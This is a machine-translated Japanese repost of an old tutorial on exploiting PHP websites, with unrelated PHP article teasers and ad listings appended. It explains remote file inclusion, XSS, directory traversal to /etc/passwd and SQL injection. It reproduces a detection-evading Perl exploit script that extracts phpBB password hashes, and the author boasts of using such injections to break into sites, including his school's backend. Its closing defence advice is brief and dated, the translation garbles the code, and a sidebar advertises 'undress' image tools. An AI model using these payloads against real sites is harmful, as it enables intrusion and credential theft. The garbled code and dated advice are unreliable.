検索
ホームページバックエンド開発PHPチュートリアルPHP Web サイトの脆弱性の概要_PHP チュートリアル

PHP Web サイトの脆弱性の概要_PHP チュートリアル

Jul 13, 2016 pm 05:36 PM
phpweb焦点を当てるそして要約するほとんど抜け穴関連しているWebサイトサイバーセキュリティページ

現在のネットワークセキュリティの観点から見ると、誰もが最も懸念し、最も危険にさらされているのは ASP であるはずです。この点に関しては、Xiaozhu が専門家であるため、私は PHP に関して何も言うことはできません。 , これも非常に深刻な問題ですが、この分野の記事はあまりありません。ここでは、PHP ページの関連する脆弱性について簡単に説明します。現在一般的な PHP の脆弱性を大きく分けてまとめました。以下のカテゴリ: ファイルの脆弱性、スクリプト コマンド実行の脆弱性、ファイル リークの脆弱性、SQL インジェクションの脆弱性などが含まれます。もちろん、COOKIE スプーフィングなどのいくつかの一般的なテクノロジについては、ここでは説明しません。それでは、これらの脆弱性を悪用する方法を一つ一つ見ていきましょう! まず、この脆弱性は、PHP の処理が不十分であることが原因であると言えます。外部から提供された悪意のあるデータにより、リモートの攻撃者がこれらの脆弱性を悪用できるようになります。 WEB プロセス権限を使用してシステム上で任意のコマンドを実行します。 例を見てみましょう。 a.php に次のようなコードがあるとします。
include($ include."/xxx.php");
?> ;
このコードでは、$include は通常設定されているパスですが、自分でパスを構築することで攻撃の目的を達成できます。 submit: a.php?include=http://web/ b.php、この Web は攻撃に使用するスペースです。もちろん、b.php は攻撃に使用するコードです。 passthru("/bin/ls /etc "); コードのように、いくつかの目的のある攻撃を実行できます (注: Web サーバーは PHP コードを実行できません。そうしないと問題が発生します。 「PHP プログラムで PHP コードを攻撃する方法」一般的な脆弱性を攻撃する>を参照してください。この脆弱性に関しては、PayPal Store Front、
HotNews、Mambo Open Source、PhpDig、YABB など、さまざまな状況があります。 SE、phpBB、InvisionBoard、SOLMETRA SPAW Editor、Les Visiteurs、PhpGedView、対象ユーザーの機密情報が取得される可能性があります。例も示します。PHP Transparent PHP 4.3.1 以前のindex.php ページには、PHPSESSID の十分なフィルタリングがありません。このようなコードを通じて攻撃の目的を達成できます:
http://web/index .php?PHPSESSID。 ="><script>...</script>スクリプトでは、ユーザーの機密情報を取得する関数を構築できます。この点に関する脆弱性は比較的少数です。PHP Transparent に加えて、次のようなものがあります。 Nuke、phpBB、PHP Classifieds、PHPix、Ultimate PHP Board など
次に、ファイル漏洩の脆弱性を見てみましょう。この脆弱性は、ユーザーが送信したパラメータのフィルタリングが不十分であることが原因であり、リモート攻撃者がこれを使用する可能性があります。ディレクトリ トラバーサル攻撃を実行し、機密情報を入手します。例として、最近発見された phpMyAdmin を取り上げます。phpMyAdmin では、ユーザーが送信したパラメータが完全にフィルタリングされておらず、リモート攻撃者は複数のパラメータを送信します。 / 文字データを使用すると、WEB ROOT 制限をバイパスして、WEB 権限を使用してシステム上のファイル情報を表示できます。たとえば、export.php?what=../../../../ というアドレスを入力します。 ../.. /etc/passwd%00 は、ファイル漏洩の目的を達成することができます。myPHPNuke、McNews など、この分野には比較的多くのファイルが存在します。
最後に、最もエキサイティングな場所に戻る必要があります。 ASP ページで SQL インジェクションを使用することがどれほど楽しいかについて、Xiaozhu が「SQL インジェクションの秘密の本」を見つけて (笑)、NB Alliance が実際に開発するまでは、SQL インジェクションを手動で挿入する必要がありました。 Tian Tian は、CSDN、Monopoly Forum、China Channel などの大規模な Web サイトの抜け穴を見つけるのに貢献しました (これ以上はナンセンスです。実際、これは事実です)。 , SQL インジェクションと ASP での SQL インジェクション PHP での SQL インジェクションはほぼ同じですが、使用されるいくつかの関数に少し注意してください。実際、ご覧のとおり、他の関数は基本的に変更されていません。 PHP における SQL インジェクションは、誰もが PHP-NUKE や PHPBB を思い浮かべませんか? はい、よく言われるように、Dongwang のようなフォーラムは ASP の世界における脆弱性の王様であるはずです。フォーラムのセキュリティが低すぎるということは、その評判が高すぎると、他の人がそれを使用するほど、より多くのセキュリティ脆弱性が発見されることを意味します。フォーラムで PHP を使用する多くの人は、通常、PHPBB を選択します。phpBB.com phpBB 1.4.0 バージョンで発見された最初の脆弱性から、phpBB 2.0.6 バージョンの最新の groupcp.php まで、その脆弱性も絶えず出現しています。以前に発見された search.php、profile.php、viewtopic .php などと同様に、おそらく合計で 12 個ほどあるため、PHP の脆弱性を研究する際にテスト製品として使用する人もいます。繰り返し練習することで完璧になれると言われています。PHPBB は今後ますます普及すると思います。では、viewtopic.php ページを例として分析してみましょう。 viewtopic.php では、「topic_id」が GET リクエストから直接取得され、フィルタ処理を行わずに SQL クエリ コマンドに渡され、攻撃者はこのパスワード情報を取得するために特別な SQL 文字列を送信することができます。自動ログインまたはブルートフォースクラッキング。(特に重要な理由がない限り、ブルートフォースを実行したい人はいないと思います) まず、関連するソースコードを見てください:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval ($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS[topic]) )
# {
# $topic_id = intval($HTTP_GET_VARS[topic]);
# }
上記のことから、送信された view=newest および sid が値に設定されている場合、実行されるクエリ コードは次のようになっていることがわかります (PHPBB ソース コードをまだ見ていない場合は、それを読んで、次に、ここを見て影響を受けるかどうかを確認してください) システムは: phpBB 2.0.5 および phpBB 2.0.4)。

# $sql = "select p.post_id

# FROM " . POSTS_TABLE . " s, " . u
# where s.session_id = $session_id = s .session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# p.post_time ASC で注文
# LIMIT 1";

Rick は次のテスト コードを提供しました:

IO::Socket を使用;

$remote = シフト || ローカルホスト;

$view_topic = シフト || /phpBB2/viewtopic.php;
$uid = シフト 2;
$dbtype = mysql4 ; # mysql4 または pgsql
print "uid $uid サーバー $remote dbtype: $dbtype のパスワード ハッシュを取得しようとしています ";
$p = "";
for($index=1; $index$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port、
Proto => "tcp"、
Type => SOCK_STREAM)
"$remote:$port に接続できませんでした:$@ ";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" .random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0 ";
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1 "; # これを pgsql に置き換えるか、削除します
print $socket "Host: $remote ";
while ($answer = ) {
if ($answer =~ /location:.*x23(d+)/) # 場所と一致します: viewtopic.php?p=#< ;num> {
$p .= chr ();
}
}
close($socket);
}
print " uid $uid の MD5 ハッシュは $p です ";
# ランダム エンコード str. は検出を回避するのに役立ちます
sub random_encode {
$str = shift;
$ret = "";
for($i=0; $i $c = substr($str,$i,1);
$j = rand length($str) * 1000;
if (int($j) % 2 || $c eq ) {
$ret .= " %" . sprintf("%x",ord($c));
} else {
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql {
if ($dbtype eq mysql4) {
return " Union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
} elsif ($dbtype eq pgsql) {
return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid または false";
} else {
return "";
}
}

この壊れたコードについてはあまり説明しません。この関数は HASH 値を取得するためのものです。
これを見ると、なぜ先ほど述べた変更された関数が使用されないのか疑問に思うかもしれません。私がこう言うと人々は笑います: 実際、インターネット上の多くの Web サイトの一部のページのクエリ ステートメントは次のようになります:

display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by +bbb+desc

笑わないでください、これは本当です。私はこれをいくつかの大きな Web サイトにアクセスするためにも使用しました。どの Web サイトにアクセスするかについては、言うのは難しいですが、私はこれを私たちの学校の Web サイトのバックエンドにアクセスするために使用しました。学校ネットワーク センターはこの記事を参照できません。^_^ ) 前の機能を使用してください。そうでない場合は、他の人のパスワードを変更する必要があります。!!!
SQL インジェクションに関しては、PHP が ASP とは異なることを忘れていました。 MySQL の SQL ステートメントの使用は mssql ほど柔軟ではないため、mssql で使用できる多くのクエリ ステートメントは、一般的に次のようなものになります: aaa.php?id=a。 into outfile pass.txt または aaa.php?id= a into outfile pass.txt /*さらに次のように変更できます: aaa.php?id=a または 1=1 Union select id,name,password form users into outfile c :/a.txt
このようにして、データベース データをファイルとしてエクスポートし、それを表示することができます。
または次のようにします: mode=, user_level=4
このステートメントは通常、データを変更するときに使用されます。ページに脆弱性がある場合、権限を昇格する効果が得られる可能性があります。
OR 1= 1 -- or: 1 or 1=1 などは、PHP の SQL インジェクションと同様です。この問題が発生するページが多すぎることがわかります。実際、上記の分類の理由は 1 つだけです。送信されたパラメータがフィルタリングされていないか、フィルタリングが十分に厳密ではありません。 . ハッカーの防御線は常に攻撃的かつ防御的です。 ここで、その防止方法について簡単に説明します。
まず、個人的に最も重要なポイントは、magic_quotes_gpc を ON に設定することです。その機能は、一重引用符、二重引用符、バックスラッシュ、および null 文字を、select * from admin where username=$ などのバックスラッシュを含む文字に変換することです。ユーザー名とパスワード=$パスワード ステートメントでは、攻撃者は検証をスキップするために 1 または 1=1 を使用したいと考えていますが、これらの文字列は次のように変換されます: select * from admin where username=a and passwd=1 or 1= 1インジェクションを防ぐという目的を達成するには、addslashes() 操作が自動的に実行されますが、それが機能しない場合は、自分でそれを処理する関数を定義する必要があるようです。

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/508215.html技術記事現在のネットワーク セキュリティから判断すると、誰もが最も懸念し、最も危険にさらされているのは ASP であるはずです。この点に関しては、Xiaozhu が専門家であるため、私は何も言えません。ただし、PHP に関してはあります。もたくさん...

声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
PHPの継続的な使用:その持久力の理由PHPの継続的な使用:その持久力の理由Apr 19, 2025 am 12:23 AM

まだ人気があるのは、使いやすさ、柔軟性、強力なエコシステムです。 1)使いやすさとシンプルな構文により、初心者にとって最初の選択肢になります。 2)Web開発、HTTP要求とデータベースとの優れた相互作用と密接に統合されています。 3)巨大なエコシステムは、豊富なツールとライブラリを提供します。 4)アクティブなコミュニティとオープンソースの性質は、それらを新しいニーズとテクノロジーの傾向に適応させます。

PHPおよびPython:類似点と相違点を調査しますPHPおよびPython:類似点と相違点を調査しますApr 19, 2025 am 12:21 AM

PHPとPythonはどちらも、Web開発、データ処理、自動化タスクで広く使用されている高レベルのプログラミング言語です。 1.PHPは、ダイナミックウェブサイトとコンテンツ管理システムの構築によく使用されますが、PythonはWebフレームワークとデータサイエンスの構築に使用されることがよくあります。 2.PHPはエコーを使用してコンテンツを出力し、Pythonは印刷を使用します。 3.両方ともオブジェクト指向プログラミングをサポートしますが、構文とキーワードは異なります。 4。PHPは弱いタイプの変換をサポートしますが、Pythonはより厳しくなります。 5. PHPパフォーマンスの最適化には、Opcacheおよび非同期プログラミングの使用が含まれますが、PythonはCprofileおよび非同期プログラミングを使用します。

PHPおよびPython:さまざまなパラダイムが説明されていますPHPおよびPython:さまざまなパラダイムが説明されていますApr 18, 2025 am 12:26 AM

PHPは主に手順プログラミングですが、オブジェクト指向プログラミング(OOP)もサポートしています。 Pythonは、OOP、機能、手続き上のプログラミングなど、さまざまなパラダイムをサポートしています。 PHPはWeb開発に適しており、Pythonはデータ分析や機械学習などのさまざまなアプリケーションに適しています。

PHPとPython:彼らの歴史を深く掘り下げますPHPとPython:彼らの歴史を深く掘り下げますApr 18, 2025 am 12:25 AM

PHPは1994年に発信され、Rasmuslerdorfによって開発されました。もともとはウェブサイトの訪問者を追跡するために使用され、サーバー側のスクリプト言語に徐々に進化し、Web開発で広く使用されていました。 Pythonは、1980年代後半にGuidovan Rossumによって開発され、1991年に最初にリリースされました。コードの読みやすさとシンプルさを強調し、科学的コンピューティング、データ分析、その他の分野に適しています。

PHPとPythonの選択:ガイドPHPとPythonの選択:ガイドApr 18, 2025 am 12:24 AM

PHPはWeb開発と迅速なプロトタイピングに適しており、Pythonはデータサイエンスと機械学習に適しています。 1.PHPは、単純な構文と迅速な開発に適した動的なWeb開発に使用されます。 2。Pythonには簡潔な構文があり、複数のフィールドに適しており、強力なライブラリエコシステムがあります。

PHPとフレームワーク:言語の近代化PHPとフレームワーク:言語の近代化Apr 18, 2025 am 12:14 AM

PHPは、多数のWebサイトとアプリケーションをサポートし、フレームワークを通じて開発ニーズに適応するため、近代化プロセスで依然として重要です。 1.PHP7はパフォーマンスを向上させ、新機能を紹介します。 2。Laravel、Symfony、Codeigniterなどの最新のフレームワークは、開発を簡素化し、コードの品質を向上させます。 3.パフォーマンスの最適化とベストプラクティスは、アプリケーションの効率をさらに改善します。

PHPの影響:Web開発などPHPの影響:Web開発などApr 18, 2025 am 12:10 AM

phphassiblasifly-impactedwebdevevermentandsbeyondit.1)itpowersmajorplatformslikewordpratsandexcelsindatabase interactions.2)php'sadaptableability allowsitale forlargeapplicationsusingframeworkslikelavel.3)

スカラータイプ、リターンタイプ、ユニオンタイプ、ヌル可能なタイプなど、PHPタイプのヒントはどのように機能しますか?スカラータイプ、リターンタイプ、ユニオンタイプ、ヌル可能なタイプなど、PHPタイプのヒントはどのように機能しますか?Apr 17, 2025 am 12:25 AM

PHPタイプは、コードの品質と読みやすさを向上させるためのプロンプトがあります。 1)スカラータイプのヒント:php7.0であるため、基本データ型は、int、floatなどの関数パラメーターで指定できます。 3)ユニオンタイプのプロンプト:PHP8.0であるため、関数パラメーターまたは戻り値で複数のタイプを指定することができます。 4)Nullable Typeプロンプト:null値を含めることができ、null値を返す可能性のある機能を処理できます。

See all articles

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

Dreamweaver Mac版

Dreamweaver Mac版

ビジュアル Web 開発ツール

WebStorm Mac版

WebStorm Mac版

便利なJavaScript開発ツール

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境